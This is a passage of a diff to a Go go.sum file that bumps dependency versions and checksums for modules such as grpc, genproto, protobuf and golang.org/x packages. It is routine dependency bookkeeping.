h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= @@ -853,6 +1013,9 @@ github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLe github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= +github.com/google/s2a-go v0.1.0/go.mod h1:OJpEgntRZo8ugHpF9hkoLJbS5dSI20XZeXJ9JVywLlM= +github.com/google/s2a-go v0.1.3/go.mod h1:Ej+mSEMGRnqRzjc7VtF+jdBwYG5fuJfiZ8ELkjEwM0A= +github.com/google/s2a-go v0.1.4/go.mod h1:Ej+mSEMGRnqRzjc7VtF+jdBwYG5fuJfiZ8ELkjEwM0A= github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= @@ -875,6 +1038,9 @@ github.com/googleapis/gax-go/v2 v2.5.1/go.mod h1:h6B0KMMFNtI2ddbGJn3T3ZbwkeT6yqE github.com/googleapis/gax-go/v2 v2.6.0/go.mod h1:1mjbznJAPHFpesgE5ucqfYEscaz5kMdcIDwU/6+DDoY= github.com/googleapis/gax-go/v2 v2.7.0/go.mod h1:TEop28CZZQ2y+c0VxMUmu1lV+fQx57QpBWsYpwqHJx8= github.com/googleapis/gax-go/v2 v2.7.1/go.mod h1:4orTrqY6hXxxaUL4LHIPl6lGo8vAE38/qKbhSAKP6QI= +github.com/googleapis/gax-go/v2 v2.8.0/go.mod h1:4orTrqY6hXxxaUL4LHIPl6lGo8vAE38/qKbhSAKP6QI= +github.com/googleapis/gax-go/v2 v2.10.0/go.mod h1:4UOEnMCrxsSqQ940WnTiD6qJ63le2ev3xfyagutxiPw= +github.com/googleapis/gax-go/v2 v2.11.0/go.mod h1:DxmR61SGKkGLa2xigwuZIQpkCI2S5iydzRfb3peWZJI= github.com/googleapis/go-type-adapters v1.0.0/go.mod h1:zHW75FOG2aur7gAO2B+MLby+cLsWGBF62rFAi7WjWO4= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= @@ -889,8 +1055,8 @@ github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4 github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= github.com/grpc-ecosystem/grpc-gateway/v2 v2.7.0/go.mod h1:hgWBS7lorOAVIJEQMi4ZsPv9hVvWI6+ch50m39Pf2Ks= github.com/grpc-ecosystem/grpc-gateway/v2 v2.11.3/go.mod h1:o//XUCC/F+yRGJoPO/VU0GSB0f8Nhgmxx0VIRUvaC0w= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.16.0 h1:YBftPWNWd4WwGqtY2yeZL2ef8rHAxPBD8KFhJpmcqms= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.16.0/go.mod h1:YN5jB8ie0yfIUg6VvR9Kz84aCaG7AsGZnLjhHbUqwPg= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0 h1:Rme6CE1aUTyV9WmrEPyGf1V+7W3iQzZ1DZkKnT6z9B0= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0/go.mod h1:Hbb13e3/WtqQ8U5hLGkek9gJvBLasHuPFI0UEGfnQ10= github.com/hashicorp/consul/api v1.18.0/go.mod h1:owRRGJ9M5xReDC5nfT8FTJrNAPbT4NM6p/k+d03q2v4= github.com/hashicorp/consul/sdk v0.13.0/go.mod h1:0hs/l5fOVhJy/VdcoaNqUSi2AUs95eF5WKtv+EYIQqE= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= @@ -1064,14 +1230,16 @@ github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOA github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= -github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng= +github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/mattn/go-sqlite3 v1.14.14/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU= +github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg= github.com/mattn/goveralls v0.0.11 h1:eJXea6R6IFlL1QMKNMzDvvHv/hwGrnvyig4N+0+XiMM= github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= @@ -1187,6 +1355,7 @@ github.com/pseudomuto/protokit v0.2.0/go.mod h1:2PdH30hxVHsup8KpBTOXTBeMVhJZVio3 github.com/pseudomuto/protokit v0.2.1 h1:kCYpE3thoR6Esm0CUvd5xbrDTOZPvQPTDeyXpZfrJdk= github.com/pseudomuto/protokit v0.2.1/go.mod h1:gt7N5Rz2flBzYafvaxyIxMZC0TTF5jDZfRnw25hAAyo= github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/robfig/cron v1.2.0/go.mod h1:JGuDeoQd7Z6yL4zQhZ3OPEVHB7fL6Ka6skscFHfmt2k= @@ -1338,7 +1507,11 @@ golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad/go.mod h1:jdWPYTVW3xRLrWP golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20220314234659-1baeb1ce4c0b/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw= +golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= +golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0= golang.org/x/crypto v0.12.0 h1:tFM/ta59kqch6LlvYnPa0yx5a83cL2nHflFhYKvv9Yk= golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw= golang.org/x/exp v0.0.0-20180321215751-8460e604b9de/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= @@ -1399,6 +1572,8 @@ golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.9.0 h1:KENHtAZL2y3NLMYZeHY9DW8HW8V+kQyJsY/V9JlKvCs= golang.org/x/mod v0.9.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/mod v0.10.0 h1:lFO9qtOdlre5W1jxS3r/4szv2/6iXxScdzjoBMXNhYk= +golang.org/x/mod v0.10.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -1458,6 +1633,7 @@ golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug golang.org/x/net v0.0.0-20220909164309-bea034e7d591/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= golang.org/x/net v0.0.0-20221012135044-0b7e1fb9d458/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= golang.org/x/net v0.0.0-20221014081412-f15817d10f9b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco= golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= golang.org/x/net v0.4.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE= golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= @@ -1498,6 +1674,7 @@ golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I golang.org/x/oauth2 v0.6.0/go.mod h1:ycmewcwgD4Rpr3eZJLSB4Kyyljb3qDh40vJ8STE5HKw= golang.org/x/oauth2 v0.7.0/go.mod h1:hPLQkd9LyjfXTiRohC/41GhcFqxisoUQ99sCUOHO9x4= golang.org/x/oauth2 v0.8.0/go.mod h1:yr7u4HXZRm1R1kBWqr/xKNqewf0plRYoB7sla+BCIXE= +golang.org/x/oauth2 v0.11.0/go.mod h1:LdF7O/8bLR/qWK9DrpXmbHLTouvRHK0SgJl0GmDBchk= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -1515,6 +1692,7 @@ golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20220819030929-7fc1605a5dde/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220929204114-8fcdb60fdcc0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.2.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -1612,6 +1790,7 @@ golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220829200755-d48e67d00261/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -1624,6 +1803,7 @@ golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc= golang.org/x/term v0.3.0/go.mod h1:q750SLmJuPmVoN1blW3UFBPREJfb1KmY3vwxfr+nFDA= golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ= @@ -1731,6 +1911,8 @@ golang.org/x/tools v0.5.1-0.20230111220935-a7f7db3f17fc/go.mod h1:N+Kgy78s5I24c2 golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/tools v0.7.0 h1:W4OVu8VVOaIO0yzWMNdepAulS7YfoS3Zabrm8DOXXU4= golang.org/x/tools v0.7.0/go.mod h1:4pg6aUX35JBAogB10C9AtvVL+qowtN4pT3CGSQex14s= +golang.org/x/tools v0.9.1 h1:8WMNJAz3zrtPmnYC7ISf5dEn3MT0gY7jBJfw27yrrLo= +golang.org/x/tools v0.9.1/go.mod h1:owI94Op576fPu3cIGQeHs3joujW/2Oc6MtlxbF5dfNc= golang.org/x/tools/cmd/cover v0.1.0-deprecated h1:Rwy+mWYz6loAF+LnG1jHG/JWMHRMMC2/1XX3Ejkx9lA= golang.org/x/tools/cmd/cover v0.1.0-deprecated/go.mod h1:hMDiIvlpN1NoVgmjLjUJE9tMHyxHjFX7RuQ+rW12mSA= golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= @@ -1808,6 +1990,11 @@ google.golang.org/api v0.108.0/go.mod h1:2Ts0XTHNVWxypznxWOYUeI4g3WdP9Pk2Qk58+a/ google.golang.org/api v0.110.0/go.mod h1:7FC4Vvx1Mooxh8C5HWjzZHcavuS2f6pmJpZx60ca7iI= google.golang.org/api v0.111.0/go.mod h1:qtFHvU9mhgTJegR31csQ+rwxyUTHOKFqCKWp1J0fdw0= google.golang.org/api v0.114.0/go.mod h1:ifYI2ZsFK6/uGddGfAD5BMxlnkBqCmqHSDUVi45N5Yg= +google.golang.org/api v0.118.0/go.mod h1:76TtD3vkgmZ66zZzp72bUUklpmQmKlhh6sYtIjYK+5E= +google.golang.org/api v0.122.0/go.mod h1:gcitW0lvnyWjSp9nKxAbdHKIZ6vF4aajGueeslZOyms= +google.golang.org/api v0.124.0/go.mod h1:xu2HQurE5gi/3t1aFCvhPD781p0a3p11sdunTJ2BlP4= +google.golang.org/api v0.125.0/go.mod h1:mBwVAtz+87bEN6CbA1GtZPDOqY2R5ONPqJeIlvyo4Aw= +google.golang.org/api v0.126.0/go.mod h1:mBwVAtz+87bEN6CbA1GtZPDOqY2R5ONPqJeIlvyo4Aw= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= @@ -1947,18 +2134,36 @@ google.golang.org/genproto v0.0.0-20230320184635-7606e756e683/go.mod h1:NWraEVix google.golang.org/genproto v0.0.0-20230323212658-478b75c54725/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= google.golang.org/genproto v0.0.0-20230330154414-c0448cd141ea/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= google.golang.org/genproto v0.0.0-20230331144136-dcfb400f0633/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= +google.golang.org/genproto v0.0.0-20230403163135-c38d8f061ccd/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= google.golang.org/genproto v0.0.0-20230410155749-daa745c078e1/go.mod h1:nKE/iIaLqn2bQwXBg8f1g2Ylh6r5MN5CmZvuzZCgsCU= google.golang.org/genproto v0.0.0-20230525234025-438c736192d0/go.mod h1:9ExIQyXL5hZrHzQceCwuSYwZZ5QZBazOcprJ5rgs3lY= -google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e h1:Ao9GzfUMPH3zjVfzXG5rlWlk+Q8MXWKwWpwVQE1MXfw= -google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:zqTuNwFlFRsw5zIts5VnzLQxSRqh+CGOTVMlYbY0Eyk= +google.golang.org/genproto v0.0.0-20230526161137-0005af68ea54/go.mod h1:zqTuNwFlFRsw5zIts5VnzLQxSRqh+CGOTVMlYbY0Eyk= +google.golang.org/genproto v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:xZnkP7mREFX5MORlOPEzLMr+90PPZQ2QWzrVTWfAq64= +google.golang.org/genproto v0.0.0-20230629202037-9506855d4529/go.mod h1:xZnkP7mREFX5MORlOPEzLMr+90PPZQ2QWzrVTWfAq64= +google.golang.org/genproto v0.0.0-20230706204954-ccb25ca9f130/go.mod h1:O9kGHb51iE/nOGvQaDUuadVYqovW56s5emA88lQnj6Y= +google.golang.org/genproto v0.0.0-20230726155614-23370e0ffb3e/go.mod h1:0ggbjUrZYpy1q+ANUS30SEoGZ53cdfwtbuG7Ptgy108= +google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 h1:L6iMMGrtzgHsWofoFcihmDEMYeDR9KN/ThbPWGrh++g= +google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5/go.mod h1:oH/ZOT02u4kWEp7oYBGYFFkCdKS/uYR9Z7+0/xuuFp8= google.golang.org/genproto/googleapis/api v0.0.0-20230525234020-1aefcd67740a/go.mod h1:ts19tUU+Z0ZShN1y3aPyq2+O3d5FUNNgT6FtOzmrNn8= google.golang.org/genproto/googleapis/api v0.0.0-20230525234035-dd9d682886f9/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= -google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc h1:kVKPf/IiYSBWEWtkIn6wZXwWGCnLKcC8oWfZvXjsGnM= +google.golang.org/genproto/googleapis/api v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= +google.golang.org/genproto/googleapis/api v0.0.0-20230629202037-9506855d4529/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= +google.golang.org/genproto/googleapis/api v0.0.0-20230706204954-ccb25ca9f130/go.mod h1:mPBs5jNgx2GuQGvFwUvVKqtn6HsUw9nP64BedgvqEsQ= +google.golang.org/genproto/googleapis/api v0.0.0-20230726155614-23370e0ffb3e/go.mod h1:rsr7RhLuwsDKL7RmgDDCUc6yaGr1iqceVb5Wv6f6YvQ= +google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d h1:DoPTO70H+bcDXcd39vOqb2viZxgqeBeSGtZ55yZU4/Q= +google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d/go.mod h1:KjSP20unUpOx5kyQUFa7k4OJg0qeJ7DEZflGDu2p6Bk= +google.golang.org/genproto/googleapis/bytestream v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:ylj+BE99M198VPbBh6A8d9n3w8fChvyLK3wwBOjXBFA= google.golang.org/genproto/googleapis/rpc v0.0.0-20230525234015-3fc162c6f38a/go.mod h1:xURIpW9ES5+/GZhnV6beoEtxQrnkRGIfP5VQG2tCBLc= google.golang.org/genproto/googleapis/rpc v0.0.0-20230525234030-28d5490b6b19/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc h1:XSJ8Vk1SWuNr8S18z1NZSziL0CPIXLCCMDOEFtHBOFc= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230629202037-9506855d4529/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230706204954-ccb25ca9f130/go.mod h1:8mL13HKkDa+IuJ8yruA3ci0q+0vsUz4m//+ottjwS5o= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230731190214-cbb8c96f2d6d/go.mod h1:TUfxEVdsvPg18p6AslUXFoLdpED4oBnGwyqk3dV1XzM= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230803162519-f966b187b2e5/go.mod h1:zBEcrKX2ZOcEkHWxBPAIvYUWOKKMIhYcmNiUIu2ji3I= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d h1:uvYuEyMHKNt+lT4K3bN6fGswmK8qSvcreM3BwjDh+y4= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d/go.mod h1:+Bk1OCOj40wS2hwAMA+aCW9ypzm63QTBBHp6lQ3p+9M= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= @@ -2003,8 +2208,9 @@ google.golang.org/grpc v1.52.3/go.mod h1:pu6fVzoFb+NBYNAvQL08ic+lvB2IojljRYuun5v google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw= google.golang.org/grpc v1.54.0/go.mod h1:PUSEXI6iWghWaB6lXM4knEgpJNu2qUcKfDtNci3EC2g= google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8= -google.golang.org/grpc v1.56.2 h1:fVRFRnXvU+x6C4IlHZewvJOVHoOv1TUuQyoRsYnB4bI= google.golang.org/grpc v1.56.2/go.mod h1:I9bI3vqKfayGqPUAwGdOSu7kt6oIJLixfffKrpXqQ9s= +google.golang.org/grpc v1.57.0 h1:kfzNeI/klCGD2YPMUlaGNT3pxvYfga7smW3Vth8Zsiw= +google.golang.org/grpc v1.57.0/go.mod h1:Sd+9RMTACXwmub0zcNY2c4arhtrbBYD1AUHI/dt16Mo= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 h1:M1YKkFIboKNieVO5DLUEVzQfGwJD30Nv2jfUgzb5UcE= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= @@ -2023,8 +2229,9 @@ google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQ google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.29.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= -google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng= google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8= +google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod 